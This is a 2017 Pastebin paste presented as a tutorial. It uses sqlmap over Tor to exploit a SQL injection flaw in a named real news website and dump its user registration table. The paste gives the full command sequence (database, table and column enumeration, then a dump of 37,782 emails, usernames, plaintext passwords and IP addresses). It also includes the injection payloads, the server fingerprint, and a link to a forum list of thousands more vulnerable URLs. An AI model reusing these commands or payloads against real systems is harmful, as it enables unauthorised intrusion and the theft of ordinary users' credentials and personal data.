Guest User

Tutorial: SQLMap SQLi Dumping a Database

a guest
Oct 10th, 2017
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.17 KB | None | 0 0
  1. Tutorial: Dump (37,782) user records (email,username,plaintext-password) from (www.maliweb.net)
  2.  
  3. Use this technique with these 8,000 SQLi checked URLs
  4. https://raidforums.com/Thread-8-128-SQLi-Tested-Urls-w-DBMS-Sorted-by-Alexa-Traffic-Rank
  5.  
  6. https://www.maliweb.net/category.php?NID=85465'
  7. dbms: MySQL, alexaRank: 24,014
  8. title: undefined
  9.  
  10. Get the database list and find the current database:
  11. sqlmap --tor --tor-type=SOCKS5 -u 'https://www.maliweb.net/category.php?NID=85465' -p NID --dbs --current-db --threads=10
  12.  
  13. Parameter: NID (GET)
  14. Type: boolean-based blind
  15. Title: AND boolean-based blind - WHERE or HAVING clause
  16. Payload: NID=85465' AND 9631=9631 AND 'kmhp'='kmhp
  17.  
  18. Type: error-based
  19. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  20. Payload: NID=85465' AND (SELECT 4899 FROM(SELECT COUNT(*),CONCAT(0x7170767a71,(SELECT (ELT(4899=4899,1))),0x7170787a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vubb'='vubb
  21.  
  22. Type: AND/OR time-based blind
  23. Title: MySQL >= 5.0.12 AND time-based blind
  24. Payload: NID=85465' AND SLEEP(10) AND 'APjc'='APjc
  25.  
  26. web server operating system: Linux CentOS 6.8
  27. web application technology: PHP 5.4.45, Apache 2.2.15
  28. back-end DBMS: MySQL >= 5.0
  29. current database: 'maliweb_news'
  30.  
  31.  
  32. available databases [2]:
  33. [*] information_schema
  34. [*] maliweb_news
  35.  
  36. sqlmap --tor --tor-type=SOCKS5 -u 'https://www.maliweb.net/category.php?NID=85465' -p NID -D maliweb_news --tables --count --threads=10
  37.  
  38. Database: maliweb_news
  39. +---------------------------+---------+
  40. | Table | Entries |
  41. +---------------------------+---------+
  42. | comments | 378229 |
  43. | mali_tb_quotes | 183736 |
  44. | mali_tb_news | 72698 |
  45. | mali_tb_registration | 37782 |
  46. | mali_tb_forumcomments | 3956 |
  47. | mali_tb_vedio_comments | 1720 |
  48. | media_ortmvideo | 1324 |
  49. | mali_tb_rating | 953 |
  50. | poll_data | 293 |
  51. | mali_tb_category | 177 |
  52. +---------------------------+---------+
  53.  
  54. Get columns for table "mali_tb_registration"
  55. sqlmap --tor --tor-type=SOCKS5 -u 'https://www.maliweb.net/category.php?NID=85465' -p NID -D maliweb_news -T mali_tb_registration --columns --threads=10
  56.  
  57.  
  58. Database: maliweb_news
  59. Table: mali_tb_registration
  60. [12 columns]
  61. +------------------+--------------+
  62. | Column | Type |
  63. +------------------+--------------+
  64. | active_status | char(1) |
  65. | avtar_img_status | varchar(1) |
  66. | avtarimg | varchar(250) |
  67. | block_status | char(1) |
  68. | email | varchar(100) |
  69. | id | int(11) |
  70. | ipaddress | varchar(100) |
  71. | name | varchar(100) |
  72. | password | varchar(100) |
  73. | postdate | date |
  74. | security_code | varchar(150) |
  75. | username | varchar(100) |
  76. +------------------+--------------+
  77.  
  78. Dump 37,782 rows from "mali_tb_registration"
  79. sqlmap --tor --tor-type=SOCKS5 -u 'https://www.maliweb.net/category.php?NID=85465' -p NID -D maliweb_news -T mali_tb_registration -C email,username,password,name,ipaddress --dump --threads=10
Add Comment
Please, Sign In to add comment